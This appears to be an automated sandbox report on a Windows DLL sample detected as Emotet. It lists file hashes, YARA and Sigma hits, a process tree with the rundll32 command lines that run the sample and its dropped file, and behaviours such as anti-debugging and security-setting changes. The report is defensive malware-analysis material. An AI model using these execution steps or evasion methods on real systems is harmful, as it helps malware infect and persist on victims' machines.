Play interactive tour

Edit tour

Windows Analysis Report Zd9TtpY4Kh

Overview

General Information

Sample Name:	Zd9TtpY4Kh (renamed file extension from none to dll)
Analysis ID:	532296
MD5:	71eea35f36f3642fdbb94d9310e87747
SHA1:	25bcd5a134df55a5465ebe39f57bf758d5672197
SHA256:	bbadafe48d63d23d3a2ebb4a4103e32646d314d5ffb8e2551d62270f8b3ec352
Tags:	32dllexe
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected Emotet

Sigma detected: Emotet RunDLL32 Process Creation

Changes security center settings (notifications, updates, antivirus, firewall)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

One or more processes crash

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Abnormal high CPU Usage

AV process strings found (often used to terminate AV products)

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 5444 cmdline: loaddll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll" MD5: 72FCD8FB0ADC38ED9050569AD673650E)

cmd.exe (PID: 5460 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5560 cmdline: rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6296 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5724 cmdline: rundll32.exe C:\Users\user\Desktop\Zd9TtpY4Kh.dll,Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 2144 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kqkxkcs\syeog.ubw",IADPmoEsmQuul MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6276 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Kqkxkcs\syeog.ubw",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 4396 cmdline: rundll32.exe C:\Users\user\Desktop\Zd9TtpY4Kh.dll,ajkaibu MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6136 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6244 cmdline: rundll32.exe C:\Users\user\Desktop\Zd9TtpY4Kh.dll,akyncbgollmj MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6172 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",Control_RunDLL MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 3664 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 320 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 6060 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 340 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 6200 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6360 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6564 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6892 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 7076 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 7116 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 2036 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 4500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 1884 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 1060 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5444 -ip 5444 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 5988 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 168 -p 5444 -ip 5444 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 6864 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3420 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 2592 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 1412 cmdline: C:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.539981294.0000000000FA0000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000000.539981294.0000000000FA0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.562664559.0000000000FA0000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000000.562664559.0000000000FA0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000003.507700136.0000000002EFC000.00000004.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000003.507700136.0000000002EFC000.00000004.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.540057881.000000000137C000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000000.540057881.000000000137C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.540904925.00000000028FA000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.534967742.000000000273A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.561743739.000000000137C000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000000.561743739.000000000137C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.538242653.000000000291A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.537633031.0000000002660000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000003.00000002.537633031.0000000002660000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.534990244.0000000002840000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000004.00000002.534990244.0000000002840000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.542442475.000000000137C000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000000.542442475.000000000137C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.563041724.000000000137C000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000000.563041724.000000000137C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000010.00000002.651948468.0000000002D8A000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000010.00000002.651976449.0000000002EC0000.00000040.00000001.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000010.00000002.651976449.0000000002EC0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.541263948.0000000002A00000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000006.00000002.541263948.0000000002A00000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000001E.00000002.775119059.00000000026A0000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0000001E.00000002.775119059.00000000026A0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000002.596937604.000000000137C000.00000004.00000020.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.596937604.000000000137C000.00000004.00000020.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.561459077.0000000000FA0000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000000.561459077.0000000000FA0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000000.542217719.0000000000FA0000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000000.542217719.0000000000FA0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000002.00000002.521244679.0000000002DA0000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000002.00000002.521244679.0000000002DA0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 33 entries

Unpacked PEs

Source	Rule	Description	Author
0.0.loaddll32.exe.fa0000.9.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.9.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.9.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.9.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.6.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.6.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.rundll32.exe.2da0000.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.rundll32.exe.2da0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
30.2.rundll32.exe.26a0000.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
30.2.rundll32.exe.26a0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.2840000.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
4.2.rundll32.exe.2840000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.2840000.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
4.2.rundll32.exe.2840000.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
16.2.rundll32.exe.2ec0000.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
16.2.rundll32.exe.2ec0000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
30.2.rundll32.exe.26a0000.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
30.2.rundll32.exe.26a0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.fa0000.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.fa0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.27521e0.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
4.2.rundll32.exe.27521e0.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.3.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.3.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.10.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.10.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.4.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.4.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.rundll32.exe.27521e0.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
4.2.rundll32.exe.27521e0.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.29121e8.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
6.2.rundll32.exe.29121e8.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.2a00000.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
6.2.rundll32.exe.2a00000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.4.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.4.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.10.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.10.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.7.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.7.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.1383618.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.1383618.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.29121e8.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
6.2.rundll32.exe.29121e8.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2933508.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2933508.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.fa0000.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.fa0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.1383618.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.2.loaddll32.exe.1383618.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.3.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.3.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
16.2.rundll32.exe.2da24b8.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
16.2.rundll32.exe.2da24b8.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2933508.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2933508.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.rundll32.exe.2a00000.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
6.2.rundll32.exe.2a00000.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
16.2.rundll32.exe.2ec0000.1.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
16.2.rundll32.exe.2ec0000.1.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2660000.0.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2660000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.6.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.fa0000.6.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
2.2.rundll32.exe.2da0000.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
2.2.rundll32.exe.2da0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.1.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.7.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
0.0.loaddll32.exe.1383618.7.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2660000.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
3.2.rundll32.exe.2660000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
16.2.rundll32.exe.2da24b8.0.raw.unpack	JoeSecurity_Emotet	Yara detected Emotet	Joe Security
16.2.rundll32.exe.2da24b8.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 75 entries

Sigma Overview

System Summary:

Sigma detected: Emotet RunDLL32 Process Creation

Show sources

Source: Process started

Author: FPT.EagleEye: Data: Command: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Kqkxkcs\syeog.ubw",Control_RunDLL, CommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Kqkxkcs\syeog.ubw",Control_RunDLL, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kqkxkcs\syeog.ubw",IADPmoEsmQuul, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 2144, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Kqkxkcs\syeog.ubw",Control_RunDLL, ProcessId: 6276

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: Zd9TtpY4Kh.dll

ReversingLabs: Detection: 17%

Source: Zd9TtpY4Kh.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE

Source: Zd9TtpY4Kh.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.547405637.0000000004247000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: oCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000016.00000002.558985730.0000000000472000.00000004.00000001.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDD0927 FindFirstFileExW,		0_2_6EDD0927
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDD0927 FindFirstFileExW,		2_2_6EDD0927

Source: svchost.exe, 00000005.00000002.631051852.000001B12B061000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.594100601.000000000492B000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.594133771.000000000492E000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.594163429.0000000004934000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000002.596176213.0000000004935000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000005.00000002.631051852.000001B12B061000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: Amcache.hve.22.dr	String found in binary or memory: http://upx.sf.net
Source: svchost.exe, 0000000C.00000002.443019178.0000021775413000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 00000007.00000002.774381529.00000281D2C41000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000007.00000002.774381529.00000281D2C41000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com/
Source: svchost.exe, 00000007.00000002.774381529.00000281D2C41000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000007.00000002.774381529.00000281D2C41000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000007.00000002.774381529.00000281D2C41000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000007.00000002.774381529.00000281D2C41000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417204815.000002177545E000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000C.00000002.454924916.0000021775456000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000C.00000002.454924916.0000021775456000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000C.00000003.417175938.0000021775469000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000002.458598242.000002177546B000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000C.00000003.417255421.0000021775446000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417221541.0000021775442000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.417236188.0000021775443000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000002.453235698.000002177544E000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000003.367845176.0000021775430000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000C.00000002.454924916.0000021775456000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000C.00000003.417197364.0000021775463000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000C.00000002.450658909.000002177543C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000C.00000003.417200811.0000021775460000.00000004.00000001.sdmp, svchost.exe, 0000000C.00000002.456745075.0000021775461000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
